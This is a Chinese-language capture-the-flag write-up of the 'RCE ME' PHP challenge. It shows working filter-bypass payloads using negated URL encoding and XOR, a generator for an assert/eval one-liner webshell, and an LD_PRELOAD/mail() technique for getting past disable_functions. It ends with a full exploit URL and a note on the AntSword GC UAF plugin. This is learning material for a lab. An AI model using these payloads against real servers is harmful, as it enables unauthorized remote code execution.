1. 程式人生 > 其它 >[極客大挑戰 2019]RCE ME 1

[極客大挑戰 2019]RCE ME 1

開啟連結,發現是php審計

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("ThisistooLong.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
//?>

發現過濾了大小寫字母以及數字,這裡可以利用url編碼取反繞過,或者異或繞過

異或就是我們將php程式碼

url編碼後取反,我們傳入引數後服務端進行url解碼,這時由於取反後,會url解碼成不可列印字元,這樣我們就會繞過。

<?php$s= 'phpinfo';echourlencode(~$s);#%8F%97%8F%96%91%99%90

?>

檢視phpinfo();搜尋flag,並沒有發現,然後看到。

這裡禁用了很多函式

接著構造一句話木馬,獲取shell

這裡卡了好長時間,一直沒搞懂assert這個函式

看到網上構造的playload

<?php

error_reporting(0);

$a='assert';

$b=urlencode(~$a);

echo $b;

echo "<br>";

$c='(eval($_POST["test"]))';

$d=urlencode(~$c);

echo $d;

?>

由於eval 屬於PHP語法構造的一部分,eval()是一個語言構造器,不能被可變函式呼叫,所以不能通過 變數函式的形式來呼叫

所以我們需要用assert來構造

但是由於版本原因,我在網上查到的

並不能使用,我們只能利用(assert)(eval($_POST["test"]))這樣的形式來構造這樣的一句話木馬。

assert()引數放入表示式,就會執行

傳入字串的話,在某些版本中應該也可以執行。

<?php

$a='assert';

$b='eval';

$c='phpinfo();';

echo $a($c);

echo "<br>-----------分隔線---------<br>";

?>

php7版本中可以這樣用,但是7.4就不可以了。。。。估計變成了構造器。

獲得shell後,用蟻劍連線

發現了flag,但是打不開,所以這裡要用readflag去讀取flag。

但是發現我拿到的是一個無效的shell。。。。。。

這裡有兩種解法,都記錄一下

其一:通過環境變數LD_PRELOAD+mail劫持so來執行系統命令(參考大佬連結:https://blog.csdn.net/xia739635297/article/details/104641082?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

編譯:將源程式轉換為副檔名為.obj的二進位制程式碼
連線:將obj檔案進行連線,加入庫函式等生成可執行檔案
執行:執行可執行檔案,有錯返回修改,無錯結束

程式碼在編譯成程式的時候有一個過程叫做連結-->將所引用的函式與變數連結到可執行程式中.編譯過程中將所有的函式庫連結完畢叫做靜態連結,而動態連結則是編譯過程中不進行連結操作,在程式執行時再動態的載入函式庫.不管是靜態連結還是動態連結,目的都很明確,載入函式庫.

LD_PRELOAD是與載入函式庫相關的環境變數,它的作用便是在程式執行前優先載入指定的函式庫.

先簡單測試一下

注:id:用於顯示使用者的ID,以及所屬群組的ID。

readelf:用於顯示讀取ELF檔案中資訊, 也可以用man命令窺其全貌。它用來顯示一個或者多個elf格式的目標檔案的資訊,可以通過它的選項來控制顯示哪些資訊。

strace:是一個可用於診斷、除錯和教學的Linux使用者空間跟蹤器。我們用它來監控使用者空間程序和核心的互動,比如系統呼叫、訊號傳遞、程序狀態變更等

以id為例

看看id命令執行過程中可能會呼叫的函式表

使用strace跟蹤id的實際呼叫情況

以劫持getgid為例.

構造一個與之原型相同的函式並將之編譯為共享庫檔案.如下

使用編譯為共享庫

gcc --shared -fPIC rob.c -o rob.so

然後載入這個庫並執行id命令.

本題要用LD_PRELOAD突破限制必須要把我們的共享庫檔案傳到伺服器上.

注:putenv 函式用來向環境表中 新增或者修改 環境變數。

通過putenv來設定一個包含自定義函式的環境變數,通過mail函式來觸發。為什麼mail函式能觸發,因為mail函式在執行過程中,php與系統命令執行函式有了交集,它呼叫了popen函式來執行,php的mail函式在執行過程中會預設呼叫系統程式/usr/sbin/sendmail,如果我們能劫持sendmail程式,再用mail函式來觸發就能實現我們的目的了。

簡單來說如下:

利用漏洞控制 web 啟動新程序 a.bin(即便程序名無法讓我隨意指定),a.bin 內部呼叫系統函式 b(),b() 位於系統共享物件 c.so 中,所以系統為該程序載入共 c.so,想法在 c.so 前優先載入可控的 c_evil.so,c_evil.so 內含與 b() 同名的惡意函式,由於 c_evil.so 優先順序較高,所以,a.bin 將呼叫到 c_evil.so 內 b() 而非系統的 c.so 內 b(),同時,c_evil.so 可控,達到執行惡意程式碼的目的。

但是這種方法,需要我們去找所要劫持的函式。然而劫持程序則不需要考慮前者。GCC 有個 C 語言擴充套件修飾符__attribute__((constructor)),可以讓由它修飾的函式在 main() 之前執行,若它出現在共享物件中時,那麼一旦共享物件被系統載入,立即將執行__attribute__((constructor))修飾的函式。

具體步驟:

在/var/tmp/目錄存在上傳許可權,上傳我們的exp

然後構造playload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

得到flag

其二:

蟻劍有個外掛可以繞過disable_functions

使用該外掛,選擇PHP_GC_UAF模式

點選開始,然後就可以執行命令了。